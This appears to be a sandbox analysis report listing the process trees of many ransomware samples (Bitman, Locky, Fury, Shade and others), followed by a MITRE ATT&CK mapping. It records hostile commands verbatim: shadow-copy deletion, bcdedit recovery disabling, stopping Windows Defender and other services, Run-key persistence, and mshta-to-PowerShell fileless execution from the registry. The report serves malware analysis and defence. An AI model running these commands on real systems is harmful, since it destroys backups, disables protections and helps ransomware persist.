  HEUR-Trojan-Ransom.Win32.Onion.gen-221b1e495adbf1ce8aea32b1c615c99cc19a847cd564a907d68e6b5321f4dbc0.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2292
- - C:\Program Files (x86)\BBLiveZip\BBLiveSvc.exe
    "C:\Program Files (x86)\BBLiveZip\BBLiveSvc.exe" -i
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1536
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32 /s "C:\Program Files (x86)\BBLiveZip\BBLiveExt64.dll"
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2888
  - - C:\Windows\system32\regsvr32.exe
      /s "C:\Program Files (x86)\BBLiveZip\BBLiveExt64.dll"
      4⤵
      Loads dropped DLL
      Modifies registry class
      Suspicious use of AdjustPrivilegeToken
      PID:2928
- - C:\Program Files (x86)\BBLiveZip\BBLiveAid.exe
    "C:\Program Files (x86)\BBLiveZip\BBLiveAid.exe" install
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2316
- - C:\Program Files (x86)\BBLiveZip\BBLiveAid.exe
    "C:\Program Files (x86)\BBLiveZip\BBLiveAid.exe" ext_svc
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:700
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Bitman.aent-2529ed723ca12ae0847a12a44eea58810582186fc1add7edfcbeb8c7a8aefd82.exe
  Trojan-Ransom.Win32.Bitman.aent-2529ed723ca12ae0847a12a44eea58810582186fc1add7edfcbeb8c7a8aefd82.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:2908
- - C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Bitman.aent-2529ed723ca12ae0847a12a44eea58810582186fc1add7edfcbeb8c7a8aefd82.exe
    Trojan-Ransom.Win32.Bitman.aent-2529ed723ca12ae0847a12a44eea58810582186fc1add7edfcbeb8c7a8aefd82.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1336
  - - C:\Users\Admin\AppData\Roaming\ejgpwacroic.exe
      C:\Users\Admin\AppData\Roaming\ejgpwacroic.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:2640
    - - C:\Users\Admin\AppData\Roaming\ejgpwacroic.exe
        
        C:\Users\Admin\AppData\Roaming\ejgpwacroic.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2904
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit.exe /set {current} bootems off
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:8844
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet
        6⤵
        Interacts with shadow copies
        
        PID:8924
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit.exe /set {current} advancedoptions off
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:6120
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit.exe /set {current} optionsedit off
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2716
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit.exe /set {current} bootstatuspolicy IgnoreAllFailures
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1616
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit.exe /set {current} recoveryenabled off
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:1728
      - C:\Windows\SysWOW64\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\Howto_RESTORE_FILES.txt
        6⤵
        Opens file in notepad (likely ransom note)
        
        PID:3712
      - C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\Desktop\Howto_RESTORE_FILES.html
        6⤵
        
        PID:8168
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:8168 CREDAT:275457 /prefetch:2
        7⤵
        
        PID:5292
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:8168 CREDAT:209928 /prefetch:2
        7⤵
        
        PID:6620
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /Quiet
        6⤵
        Interacts with shadow copies
        
        PID:5744
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c DEL C:\Users\Admin\AppData\Roaming\EJGPWA~1.EXE
        6⤵
        
        PID:9724
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c DEL C:\Users\Admin\Desktop\00289\TROJAN~1.EXE
      4⤵
      PID:820
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Bitman.ldt-ccb550d58c1b287b61668485983a03e172ce6d0775d99df1efcfcde8d9143b9e.exe
  Trojan-Ransom.Win32.Bitman.ldt-ccb550d58c1b287b61668485983a03e172ce6d0775d99df1efcfcde8d9143b9e.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of SetWindowsHookEx
  PID:2664
- - C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Bitman.ldt-ccb550d58c1b287b61668485983a03e172ce6d0775d99df1efcfcde8d9143b9e.exe
    Trojan-Ransom.Win32.Bitman.ldt-ccb550d58c1b287b61668485983a03e172ce6d0775d99df1efcfcde8d9143b9e.exe
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6968
  - - C:\Windows\dcdqmwbacyjf.exe
      C:\Windows\dcdqmwbacyjf.exe
      4⤵
      PID:8528
    - - C:\Windows\dcdqmwbacyjf.exe
        
        C:\Windows\dcdqmwbacyjf.exe
        5⤵
        
        PID:9080
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete /nointeractive
        6⤵
        
        PID:7036
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c DEL C:\Users\Admin\Desktop\00289\TROJAN~2.EXE
      4⤵
      PID:8188
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Bitman.nhn-f97911c161e3a4ccfd2b2e5b90c715bb664100e294c85925a3d9097c2e29a185.exe
  Trojan-Ransom.Win32.Bitman.nhn-f97911c161e3a4ccfd2b2e5b90c715bb664100e294c85925a3d9097c2e29a185.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:2944
- - C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Bitman.nhn-f97911c161e3a4ccfd2b2e5b90c715bb664100e294c85925a3d9097c2e29a185.exe
    Trojan-Ransom.Win32.Bitman.nhn-f97911c161e3a4ccfd2b2e5b90c715bb664100e294c85925a3d9097c2e29a185.exe
    3⤵
    - Executes dropped EXE
    PID:7944
  - - C:\Windows\moshvkavmwxl.exe
      C:\Windows\moshvkavmwxl.exe
      4⤵
      PID:8692
    - - C:\Windows\moshvkavmwxl.exe
        
        C:\Windows\moshvkavmwxl.exe
        5⤵
        
        PID:3032
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete /nointeractive
        6⤵
        
        PID:3656
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c DEL C:\Users\Admin\Desktop\00289\TROJAN~3.EXE
      4⤵
      PID:2500
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Bitman.pgy-79d7b1d118b78ce2b68812118d88318dbffee5663acfd302bf2a07df66938001.exe
  Trojan-Ransom.Win32.Bitman.pgy-79d7b1d118b78ce2b68812118d88318dbffee5663acfd302bf2a07df66938001.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of AdjustPrivilegeToken
  PID:1636
- - C:\Windows\avjbxnidlyfd.exe
    C:\Windows\avjbxnidlyfd.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - System policy modification
    PID:1676
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete /nointeractive
      4⤵
      PID:3076
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c DEL C:\Users\Admin\Desktop\00289\TROJAN~4.EXE
    3⤵
    PID:272
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Bitman.ruz-514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5.exe
  Trojan-Ransom.Win32.Bitman.ruz-514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:2464
- - C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Bitman.ruz-514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5.exe
    Trojan-Ransom.Win32.Bitman.ruz-514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5.exe
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:6552
  - - C:\Windows\elqyhohxgmtf.exe
      C:\Windows\elqyhohxgmtf.exe
      4⤵
      PID:8440
    - - C:\Windows\elqyhohxgmtf.exe
        
        C:\Windows\elqyhohxgmtf.exe
        5⤵
        
        PID:6028
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c DEL C:\Users\Admin\Desktop\00289\TRD4F9~1.EXE
      4⤵
      PID:8092
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Blocker.ibju-8a2a28d164a6d4011e83ae3f930de8bf1e01ba2e013bee43460f2f58bdaf4109.exe
  Trojan-Ransom.Win32.Blocker.ibju-8a2a28d164a6d4011e83ae3f930de8bf1e01ba2e013bee43460f2f58bdaf4109.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:2272
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c echo f|xcopy /y "C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Blocker.ibju-8a2a28d164a6d4011e83ae3f930de8bf1e01ba2e013bee43460f2f58bdaf4109.exe" "%APPDATA%\Photo.exe" && reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Run" /d "%APPDATA%\Photo.exe" /t REG_SZ /f
    3⤵
    PID:2140
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.FileCoder.d-edf38929856a923cf9a0816fc307095d8ab89283407c0d27c309e345e19393ee.exe
  Trojan-Ransom.Win32.FileCoder.d-edf38929856a923cf9a0816fc307095d8ab89283407c0d27c309e345e19393ee.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of UnmapMainImage
  PID:2408
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Foreign.mztc-f103e522f50272faf6643af88593fee456bf94c55cd9f55917c2fda0c25af9fd.exe
  Trojan-Ransom.Win32.Foreign.mztc-f103e522f50272faf6643af88593fee456bf94c55cd9f55917c2fda0c25af9fd.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - System policy modification
  PID:1584
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh firewall add allowedprogram program = STcONaURjstoJeQ(uMqeEfSfaGeNmho("yJmAEIBBXdvRXSFRGegUiJnA")) name = STcONaURjstoJeQ(uMqeEfSfaGeNmho("XQ0V1bwVGZ0FQZ==")) mode = ENABLE
    3⤵
    PID:8376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Microsoft\log\pass.exe all
    3⤵
    PID:7116
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /k systeminfo
    3⤵
    PID:7396
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /k ipconfig
    3⤵
    PID:5796
- - C:\Users\Admin\AppData\Roaming\Microsoft\log\securityscan.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\log\securityscan.exe
    3⤵
    PID:7516
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /k HOSTNAME
      4⤵
      PID:3192
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Foreign.ncak-f9a8a91cc5ca15b0c2ebd8b70baa4c052ed170d3ed07b5be45ea4353184b504e.exe
  Trojan-Ransom.Win32.Foreign.ncak-f9a8a91cc5ca15b0c2ebd8b70baa4c052ed170d3ed07b5be45ea4353184b504e.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:2364
- - C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Foreign.ncak-f9a8a91cc5ca15b0c2ebd8b70baa4c052ed170d3ed07b5be45ea4353184b504e.exe
    Trojan-Ransom.Win32.Foreign.ncak-f9a8a91cc5ca15b0c2ebd8b70baa4c052ed170d3ed07b5be45ea4353184b504e.exe
    3⤵
    PID:8724
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Foreign.nljm-eb2c69c7562e1fe7da6aa440f134109d097fba08d2e57ab991cdba989b0571e2.exe
  Trojan-Ransom.Win32.Foreign.nljm-eb2c69c7562e1fe7da6aa440f134109d097fba08d2e57ab991cdba989b0571e2.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:2456
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\DF96\EFCB.bat" "C:\Users\Admin\AppData\Roaming\MICROS~1\C_G1ring\catsclnt.exe" "C:\Users\Admin\Desktop\00289\TREB49~1.EXE""
    3⤵
    PID:7972
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Foreign.nmgv-c9704ea156a637add087e25da2ec42bd6e4ee2238117c5f489777d8516dee059.exe
  Trojan-Ransom.Win32.Foreign.nmgv-c9704ea156a637add087e25da2ec42bd6e4ee2238117c5f489777d8516dee059.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:1688
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\E1A8\F0D4.bat" "C:\Users\Admin\AppData\Roaming\MICROS~1\Comr8030\Deviclnt.exe" "C:\Users\Admin\Desktop\00289\TRFFD5~1.EXE""
    3⤵
    PID:5036
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Fury.mo-4eb2d565b18d172a3b2b069ebf152dd6a1514e7b444eaffbbaff77f63984705c.exe
  Trojan-Ransom.Win32.Fury.mo-4eb2d565b18d172a3b2b069ebf152dd6a1514e7b444eaffbbaff77f63984705c.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:1620
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - System Location Discovery: System Language Discovery
    - Interacts with shadow copies
    PID:1776
- - C:\Windows\SysWOW64\sc.exe
    sc stop wscsvc
    3⤵
    - Launches sc.exe
    PID:2472
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:916
- - C:\Windows\SysWOW64\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2888
- - C:\Windows\SysWOW64\sc.exe
    sc stop BITS
    3⤵
    - Launches sc.exe
    PID:3688
- - C:\Windows\SysWOW64\sc.exe
    sc stop ERSvc
    3⤵
    - Launches sc.exe
    PID:3860
- - C:\Windows\SysWOW64\sc.exe
    sc stop WerSvc
    3⤵
    - Launches sc.exe
    PID:3464
- - C:\Users\Admin\AppData\Roaming\1C9B74EA.exe
    C:\Users\Admin\AppData\Roaming\1C9B74EA.exe
    3⤵
    PID:5548
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Fury.oa-1945b61e7d14f000e298439e0ef3d9226b449d9650c5628d56048018fcbe1a95.exe
  Trojan-Ransom.Win32.Fury.oa-1945b61e7d14f000e298439e0ef3d9226b449d9650c5628d56048018fcbe1a95.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:944
- - C:\Windows\SysWOW64\vssadmin.exe
    vssadmin.exe Delete Shadows /All /Quiet
    3⤵
    - Interacts with shadow copies
    PID:4640
- - C:\Windows\SysWOW64\sc.exe
    sc stop wscsvc
    3⤵
    - Launches sc.exe
    PID:5904
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:5988
- - C:\Windows\SysWOW64\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5996
- - C:\Windows\SysWOW64\sc.exe
    sc stop BITS
    3⤵
    - Launches sc.exe
    PID:6008
- - C:\Windows\SysWOW64\sc.exe
    sc stop ERSvc
    3⤵
    - Launches sc.exe
    PID:6016
- - C:\Windows\SysWOW64\sc.exe
    sc stop WerSvc
    3⤵
    - Launches sc.exe
    PID:6024
- - C:\Users\Admin\AppData\Roaming\1C9B74EA.exe
    C:\Users\Admin\AppData\Roaming\1C9B74EA.exe
    3⤵
    PID:5532
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Locky.asa-8f3238700e5575d94227d28d1a7c23d32589ab1ffe4ab071637c49f87ce12d0e.exe
  Trojan-Ransom.Win32.Locky.asa-8f3238700e5575d94227d28d1a7c23d32589ab1ffe4ab071637c49f87ce12d0e.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:2580
- - C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Locky.asa-8f3238700e5575d94227d28d1a7c23d32589ab1ffe4ab071637c49f87ce12d0e.exe
    "C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Locky.asa-8f3238700e5575d94227d28d1a7c23d32589ab1ffe4ab071637c49f87ce12d0e.exe"
    3⤵
    PID:4616
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C del /Q /F "C:\Users\Admin\AppData\Local\Temp\sys3FDE.tmp"
      4⤵
      PID:8272
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Locky.cid-4e1fa0342798b3645a106db58f88a7b60d632f23893446f00001380101aab209.exe
  Trojan-Ransom.Win32.Locky.cid-4e1fa0342798b3645a106db58f88a7b60d632f23893446f00001380101aab209.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: MapViewOfSection
  PID:1596
- - C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Locky.cid-4e1fa0342798b3645a106db58f88a7b60d632f23893446f00001380101aab209.exe
    Trojan-Ransom.Win32.Locky.cid-4e1fa0342798b3645a106db58f88a7b60d632f23893446f00001380101aab209.exe
    3⤵
    - Executes dropped EXE
    PID:7780
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C del /Q /F "C:\Users\Admin\AppData\Local\Temp\sys848B.tmp"
      4⤵
      PID:10140
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Locky.ln-4eca4a4f186ad246fc0ba6a5075fbe27c589ee921ddc536009e50d2fe162eb94.exe
  Trojan-Ransom.Win32.Locky.ln-4eca4a4f186ad246fc0ba6a5075fbe27c589ee921ddc536009e50d2fe162eb94.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: GetForegroundWindowSpam
  PID:1148
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Shade.ozd-dee1692624a25f660ace06dade67bf10f51b351fcee41b6f3e31e82323e43e4c.exe
  Trojan-Ransom.Win32.Shade.ozd-dee1692624a25f660ace06dade67bf10f51b351fcee41b6f3e31e82323e43e4c.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of UnmapMainImage
  PID:2204
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Shade.uv-ddf74ac48633d395d5e7258936989274d1efa46e500d636404bc6098f14faa9b.exe
  Trojan-Ransom.Win32.Shade.uv-ddf74ac48633d395d5e7258936989274d1efa46e500d636404bc6098f14faa9b.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of SetWindowsHookEx
  PID:1272
- - C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Shade.uv-ddf74ac48633d395d5e7258936989274d1efa46e500d636404bc6098f14faa9b.exe
    "C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Shade.uv-ddf74ac48633d395d5e7258936989274d1efa46e500d636404bc6098f14faa9b.exe"
    3⤵
    PID:9044
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Shade.yd-75d07a22e1ccdb95adad105a284bbadcd119e274ee5ea9aba23a56510207b0b9.exe
  Trojan-Ransom.Win32.Shade.yd-75d07a22e1ccdb95adad105a284bbadcd119e274ee5ea9aba23a56510207b0b9.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of SetWindowsHookEx
  PID:1428
- - C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Shade.yd-75d07a22e1ccdb95adad105a284bbadcd119e274ee5ea9aba23a56510207b0b9.exe
    Trojan-Ransom.Win32.Shade.yd-75d07a22e1ccdb95adad105a284bbadcd119e274ee5ea9aba23a56510207b0b9.exe
    3⤵
    PID:9164
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Spora.fio-8d8576432cd79c4c6a8902e9fcbdad16c871afae3731a4d9ec9cb6a0be727ffe.exe
  Trojan-Ransom.Win32.Spora.fio-8d8576432cd79c4c6a8902e9fcbdad16c871afae3731a4d9ec9cb6a0be727ffe.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  PID:2384
- - C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Spora.fio-8d8576432cd79c4c6a8902e9fcbdad16c871afae3731a4d9ec9cb6a0be727ffe.exe
    Trojan-Ransom.Win32.Spora.fio-8d8576432cd79c4c6a8902e9fcbdad16c871afae3731a4d9ec9cb6a0be727ffe.exe
    3⤵
    PID:2124
  - - C:\Users\Admin\AppData\Local\GeneralizeMspthrd\GeneralizeMspthrd.exe
      -U2124528259641636
      4⤵
      PID:7664
    - - C:\Users\Admin\AppData\Local\GeneralizeMspthrd\GeneralizeMspthrd.exe
        
        -U2124528259641636
        5⤵
        
        PID:3048
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Zerber.dpqs-18e5605f466c9babf9232224d654e1541c28710ad0e386871fc1d9f2ddf1b82c.exe
  Trojan-Ransom.Win32.Zerber.dpqs-18e5605f466c9babf9232224d654e1541c28710ad0e386871fc1d9f2ddf1b82c.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of SetWindowsHookEx
  PID:2528
- - C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Zerber.dpqs-18e5605f466c9babf9232224d654e1541c28710ad0e386871fc1d9f2ddf1b82c.exe
    Trojan-Ransom.Win32.Zerber.dpqs-18e5605f466c9babf9232224d654e1541c28710ad0e386871fc1d9f2ddf1b82c.exe
    3⤵
    PID:8124
- C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Zerber.dzlx-bfd448a7bc3b9ea4d2312db990a3ac8e621b291daab9c62d2d71598c1bc33b65.exe
  Trojan-Ransom.Win32.Zerber.dzlx-bfd448a7bc3b9ea4d2312db990a3ac8e621b291daab9c62d2d71598c1bc33b65.exe
  2⤵
  PID:2592

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1772

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3044

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:gpO5vU="P8zl";Oz74=new%20ActiveXObject("WScript.Shell");r2dJHj="kGIdogj";Llv35H=Oz74.RegRead("HKLM\\software\\Wow6432Node\\nMNKSq9C\\fSFt6pI6");R1aWsut="LtrAw";eval(Llv35H);P18OnK="7W9aj";
1⤵
- Process spawned unexpected child process
PID:7144
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:uvqsuc
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4236
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe
    3⤵
    PID:5104
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      PID:588

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:8900

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe"
1⤵
PID:5444

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}
1⤵
PID:8016

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3F6B5E16-092A-41ED-930B-0B4125D91D4E}
1⤵
PID:5776

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x510
1⤵
PID:688

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:mC1zzczh="LxGV";Be2=new%20ActiveXObject("WScript.Shell");T9iUarF="qbtek9JS";B47LyJ=Be2.RegRead("HKLM\\software\\Wow6432Node\\ulEjDhI\\hukQI1nhr6");AwCIq92u="lFywz7iDl";eval(B47LyJ);SG84SrumQ="RX4";
1⤵
- Process spawned unexpected child process
PID:9328
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:mohademd
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5124
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe
    3⤵
    PID:7608

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:2636

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}
1⤵
PID:8652

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:7728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

